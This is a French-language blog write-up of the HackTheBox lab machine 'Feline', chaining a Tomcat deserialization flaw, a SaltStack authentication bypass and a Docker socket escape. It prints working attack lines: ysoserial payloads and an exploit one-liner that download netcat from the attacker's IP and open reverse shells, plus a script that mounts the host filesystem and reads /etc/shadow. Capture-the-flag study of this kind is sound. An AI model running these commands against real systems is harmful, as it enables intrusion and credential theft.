Sommaire
- 1Préambule
- 2Introduction
- 3Phase de reconnaissance
- 4Phase d'énumération 1/3
- 5Phase d'exploitation 1/3 (Apache Tomcat)
- 5.1Installer et utiliser ysoserial
- 5.2Reverse shell via Apache Tomcat
- 6Phase d'énumération 2/3
- 7Phase d'exploitation 2/3 (SaltStack)
- 7.1SSH reverse remote port forwarding
- 7.2PoC pour CVE-2020-*****
- 7.3Reverse shell via SaltStak
- 8Phase d'énumération 3/3
- 8.1Docker Inside
- 9Phase d'exploitation 3/3 (Docker)
- 10Conclusion
Préambule
Pour cette nouvelle machine virtuelle j’ai utilisé l’interface web Pwnbox du site HackTheBox qui est basée sur la distribution Parrot Security, elle-même basée sur Debian :
Cette fonctionnalité est uniquement accessible aux utilisateurs du plan « VIP ». Elle est très pratique et bien pensée : choix de la localisation du serveur, fonctionne avec un simple navigateur et/ou accès SSH, accès spectateur…etc
Seul hic : on à le droit à seulement 24H par mois… et cela file vite !!
Mais avec le nouveau plan VIP+, plus de limite !
J’ai également utilisé pour l’occasion l’un de mes scripts spécifiquement adapté pour celle-ci afin d’améliorer le temps de reconnaissance initiale :
https://github.com/choupit0/MassVulScan4HTB
Moins de 5 minutes pour installer le script et scanner les 131070 ports TCP+UDP et identifier les éventuelles vulnérabilités associées, auto-promotion 😉
Ce pas à pas sera « un peu » plus long et détaillé que les derniers.
Introduction
Cette fois on s’attaque à une machine virtuelle de niveau « Hard » mais qui n’est pas insurmontable. Elle permet, là encore, de s’attaquer à de récentes vulnérabilités découvertes, et permet d’aborder différents aspects côté réseau, système et applicatif. Très complète et intéressante dans le cheminement.
Voici les grandes phases et technologies abordées :
- Identification du CVE concernant Apache Tomcat
- Exploitation par désérialisation d’objets
- Identification d’un second CVE pour SaltStack (gestion de configuration)
- Exploitation par « authentication bypass » via redirection de port SSH
- Elévation des privilèges via un container Docker
Les informations que nous avons à notre disposition sont :
- IPv4 = 10.10.10.205
- Nom de la VM = feline.htb
On met à jour notre fichier /etc/hosts avec ces informations :
sudo vi /etc/hosts
127.0.1.1 htb-qdiohu4t2o.htb-cloud.com htb-qdiohu4t2o 127.0.0.1 localhost 10.10.10.205 feline.htb
Phase de reconnaissance
J’installe et je lance mon script MassVulScan4HTB.sh :
Seulement deux services ouverts : SSH et HTTP avec 9 potentielles failles identifiées pour le dernier :
Avant d’explorer les différentes failles à la recherche d’un RCE, voyons à quoi ressemble la page web. Nous avons deux sites dédiés à l’analyse de virus :
Phase d’énumération 1/3
Le champ email semble accepter n’importe quoi (email ou pas), par contre tous les formats de fichiers ne semblent pas supportés. Ici à gauche une image PNG bloquée et à droite un script Perl qui passe :
Nous allons regarder un peu plus en détails les requêtes avec Burp Suite. Il suffit de lancer l’application et de paramétrer Firefox pour pointer dessus.
Nous allons intercepter une requête qui fonctionne (fichier autorisé) et l’analyser (« Intercept On » puis « Action » -> « Send to Repeater ») :
Maintenant, que se passe-t-il si on supprime le nom du fichier par exemple (filename= » » puis « Send ») ? Réponse :
On récupère une erreur Java intéressante. En effet, on a le chemin complet où les fichiers sont téléversés : /opt/samples/uploads
Avec un fichier interdit (PNG), on obtient autre erreur Java et un autre chemin :
Chemin récupéré mais avec un « Permission denied », rien d’intéressant :
/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000066.tmp
Je note juste que si on essaye de renvoyer à nouveau le fichier on voit que le nom de fichier s’incrémente de 1 à chaque fois :
/opt/tomcat/temp/upload_2d083729_5e12_41c0_97d6_4753f5ec1b1a_00000067.tmp
Je ne trouve rien de probant à ce stade, et je ne trouve rien de plus avec wfuzz ou dirsearch au niveau des répertoires et fichiers. Pas d’injection type SQL non plus.
Je prends donc le temps de regarder les vulnérabilités identifiées plus tôt et l’une d’elle semble intéressante. Elle appropriée à la situation et à la version d’Apache Tomcat : https://vulners.com/cve/CVE-2020-9484
L’une des références citée concerne celle de l’auteur : http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html
Nous avons plus de détails sur son site qui confirme la présence d’un RCE : https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/
Globalement, si le serveur est configuré avec les modes « PersistentManager » et « FileStore« , les sessions permutées/inactives sont enregistrées sur disque. Dans ce cas, la faille est exploitable.
Pour vérifier si nous sommes concernés par cette vulnérabilité, nous avons besoin de 3 choses principales :
- Pouvoir générer un objet sérialisé :
- L’auteur nous donne la solution https://github.com/frohoff/ysoserial
- Pouvoir envoyer le fichier sur le serveur :
- Nous l’avons avec le site /service
- Connaître l’emplacement des fichiers envoyés :
- Nous le connaissons /opt/samples/uploads
C’est lors de la phase de désérialisation que le code malvaillant est executé même si nous obtenons une erreur HTTP 500 par la suite (pas de session correspondante).
Pour plus de détails sur la sérialisation/désérialisation d’objets et son exploitation, je vous conseille ce PDF (anglais) : https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
Sinon, en gros, la sérialisation consiste à transformer des données informatiques en informations plus petites pour être transmises par le réseau. La désérialisation effectue la démarche inverse afin de retrouver les données initiales, à l’identique.
Phase d’exploitation 1/3 (Apache Tomcat)
Installer et utiliser ysoserial
Etapes à suivre pour l’installation de yoserial :
git clone https://github.com/frohoff/ysoserial cd ysoserial/ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
On génère ensuite notre payload (objet sérialisé) comme ceci avec le payload le plus « commun », le numéro 2 (le 1 n’a pas fonctionné) et avec l’extension « .session » :
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/fakefile" > rce.session
Dans un shell je lance un serveur HTTP en écoute sur port 8888 :
python -m SimpleHTTPServer 8888
Pour appeler notre code nous devrons utiliser http://feline.htb et modifier le cookie « JSESSIONID » comme suit (comme indiqué dans l’article) sans l’extension :
JSESSIONID=../../../../../opt/samples/uploads/rce
Le reste en vidéo de démonstration :
Ca fonctionne ! On a bien une connexion sur notre instance depuis le serveur :
Reverse shell via Apache Tomcat
Maintenant que nous avons un PoC fonctionnel, nous allons pouvoir obtenir un shell inversé. Nous procéderons en trois étapes :
- Téléverser l’outil netcat sur le serveur
- Le rendre executable
- Lancer un shell inversé
Je procède ainsi car je n’ai pas réussi à obtenir un shell directement avec les commandes traditionnelles (https://gtfobins.github.io/#+reverse%20shell).
Mes trois payloads générés :
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "wget http://10.10.14.50:8888/netcat -O /tmp/netcat" > step1.session java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "chmod +x /tmp/netcat" > step2.session java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 "/tmp/netcat -e /bin/sh 10.10.14.50 1337" > step3.session
Pour netcat, j’utilise la version présente sur l’OS et je lance mon serveur HTTP :
which netcat /usr/bin/netcat cp /usr/bin/netcat . python -m SimpleHTTPServer 8888
Dans un autre Terminal je lance un listener :
nc -nlvp 1337
On transfère nos 3 fichiers de la même manière que pour PoC et on obtient enfin un (premier) shell inversé depuis le serveur :
On élève notre simple shell inversé vers un shell interactif complet :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Et nous trouvons le flag utilisateur :
Phase d’énumération 2/3
Rapidement je regarde côté réseau ce que l’on a et je vois deux ports intéressants en écoute, TCP 4505 et 4506 :
netstat -laputen | grep -i listen
Une rapide recherche sur Internet nous indique qu’il s’agit d’un gestionnaire de configuration nommé SaltStack, comme Puppet.
On découvre également qu’il existe une faille de sécurité de type « authentication bypass », CVE-2020-11651 : https://www.immersivelabs.com/resources/blog/hackers-are-currently-attacking-vulnerable-saltstack-systems/
Ne sachant pas si cette version est vulnérable ou pas, je décide de tester le PoC indiqué dans l’article : https://github.com/kevthehermit/CVE-2020-11651
Phase d’exploitation 2/3 (SaltStack)
SSH reverse remote port forwarding
L’application n’est pas exposée sur tous ses interfaces réseaux, elle n’est accessible que localement, par la loopback.
Je décide de télécharger le PoC sur le serveur et de le tester… mais ce serait trop facile ! Python3.8 est bien présent mais il manque des packages… et bien-sûr aucun droit pour les installer.
Plutôt que de perdre mon temps à chercher un moyen d’installer ce qu’il manque, je prends le choix d’exposer ce port à travers une connexion SSH :
ssh htb-choupit0@10.10.14.50 -R 127.0.0.1:4506:127.0.0.1:4506 -N
Nous aurions pu également utiliser Metasploit pour cela mais c’était un peu plus contraigant à faire (mais plus securisé).
PoC pour CVE-2020-*****
Maintenant nous pouvons donc utiliser notre script Python ditectement depuis notre instance Pwnbox, on voit ici la connexion SSH établie et le nouveau port 4506 en écoute :
Malheureusement pour nous, cela ne fonctionne pas… erreur « UnboundLocalError: local variable ‘root_key’ referenced before assignment« .
git clone https://github.com/kevthehermit/CVE-2020-11651 cd CVE-2020-11651 python3 -m pip install pyzmq python3.8 poc.py -k 127.0.0.1
Reverse shell via SaltStak
Je n’abandonne pas et après quelques recherches, je trouve un autre PoC qui lui fonctionne : https://github.com/jasperla/CVE-2020-11651-poc/
git clone https://github.com/jasperla/CVE-2020-11651-poc cd CVE-2020-11651-poc pip3 install salt python3.8 exploit.py
[+] Checking if vulnerable to CVE-2020-11651… YES
Cool ! Il ne reste plus qu’à lancer notre second Reverse Shell avec une seule ligne de commande + un listener dans un autre Terminal :
python3.8 exploit.py --master localhost --exec "wget http://10.10.14.50:8888/netcat -O /tmp/netcat; chmod +x /tmp/netcat; /tmp/netcat -e /bin/sh 10.10.14.50 1338"
nc -nlvp 1338
Phase d’énumération 3/3
Docker Inside
On découvre donc que nous sommes root… mais d’un container, c’est déjà ca ! En regardant les dernières commandes tapées dans le fichier « .bash_history« , on découvre cette ligne de commande :
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
Cela indique que la machine qui héberge ce container communique par le bias de ce socket avec ce dernier. On vérifie qu’il est bien actif, c’est bien le cas :
ls -l /var/run/docker.sock
C’est un vecteur d’attaque, car depuis notre container nous pouvons également accéder aux données de l’hôte…
Ces articles en parle bien :
http://carnal0wnage.attackresearch.com/2019/02/abusing-docker-api-socket.html
Nous pouvons déjà obtenir la liste des container présents sur le serveur, il semble y en avoir 2 :
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
Phase d’exploitation 3/3 (Docker)
Comme PoC nous allons donc tenter de créer un nouveau container afin d’accéder au fichier des mots de passe sur l’hôte en root. Voici les étapes nécessaires :
- Créer un fichier JSON pour le container
- Créer notre container avec ce fichier
- Démarrer notre container
- Créer un fichier JSON pour l’execution de lecture
- Lancer l’execution de la commande
Nous allons utiliser un script Bash (docker_exploit.sh) pour que cela soit plus simple, voici son contenu :
#!/bin/bash # # Nouveau container avec un montage du systeme de fichiers hote # echo -e '{"Image":"sandbox", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' > container.json # Creation du container new_container=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create | cut -d'"' -f4) # On demarre le container curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/${new_container}/start sleep 2 # # Lecture d'un fichier de l'hote # echo -e '{"AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' > read.json # Creation de l'exec read_file=$(curl -s -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat read.json)" http://localhost/containers/${new_container}/exec | cut -d'"' -f4) # Affichage du resultat curl -s -o - -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{}' http://localhost/exec/${read_file}/start rm -rf container.json read.json
Il suffit ensuite de l’envoyer sur le serveur et l’executer :
python -m SimpleHTTPServer 8888 (instance Pwnbox) cd /tmp wget http://10.10.14.50:8888/docker_exploit.sh chmod +x docker_exploit.sh ./docker_exploit.sh
Ca fonctionne !!!
Il ne reste plus qu’à modifier notre script pour récupérer le flag root :
Conclusion
Jusqu’à présent c’est ma VM favorite sous Linux, on y apprend beaucoup de choses. Elle est très complète : technologies variées tout comme les failles exploitées, on touche au système, réseau et applicatif.
C’est pour ces raisons que j’ai pris du plaisir et du temps pour détailler ce write-up, j’espère que vous aussi !
En savoir plus sur H2K
Subscribe to get the latest posts sent to your email.